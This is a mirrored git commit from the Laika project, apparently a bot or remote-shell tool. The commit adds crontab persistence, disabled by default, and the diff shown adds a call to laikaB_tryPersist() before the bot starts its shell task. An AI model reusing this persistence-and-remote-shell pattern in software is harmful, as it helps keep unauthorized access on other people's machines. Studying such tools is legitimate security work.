1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-11 18:30:08 +00:00

Added crontab persistence, disabled by default with LAIKA_NOINSTALL

- undefine LAIKA_NOINSTALL in persist.h to enable persistence
- windows persistence is still unimplemented
This commit is contained in:
2022-04-07 18:11:58 -05:00
parent 56fb305ef2
commit 412418ec0a
3 changed files with 55 additions and 9 deletions

View File

@@ -5,6 +5,7 @@
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include "persist.h"
struct sLaika_taskService tService;
@@ -18,6 +19,9 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo
int main(int argv, char *argc[]) {
struct sLaika_bot *bot = laikaB_newBot();
/* install persistence */
laikaB_tryPersist();
/* init task service */
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 100, shellTask, (void*)bot);